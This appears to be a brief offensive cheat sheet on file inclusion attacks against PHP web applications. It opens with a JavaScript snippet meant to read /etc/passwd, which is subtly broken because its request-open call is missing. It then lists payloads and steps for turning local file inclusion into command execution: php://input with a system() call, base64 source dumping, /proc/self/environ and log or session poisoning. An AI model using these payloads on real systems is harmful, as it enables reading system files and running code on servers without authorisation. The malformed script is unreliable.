File Inclusion


<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};"GET","file:///etc/passwd");x.send();</script>

LFI to shell

  • use page=php://input, payload must be in the POST Body (but the request is GET), e.g. <?php echo system('whoami');?>, this is also possible for zip:// and phar://

  • get source code with filter: page=php://filter/convert.base64-encode/resource=<filename>

  • page=../../../../../proc/self/environ, if this is accessible we can set the user agent to php code in <?php .. ?> and get it executed, this can also be done for /proc/self/id/<id> and the referrer field (bruteforce the id)

  • log poisoning, write php into log via error message and request via lfi

  • session poisoning, write a malicious session variable and include the session from /var/lib/phpX/sess_<phpsessid>

Many of these techniques are automated and implemented in LFISuite.

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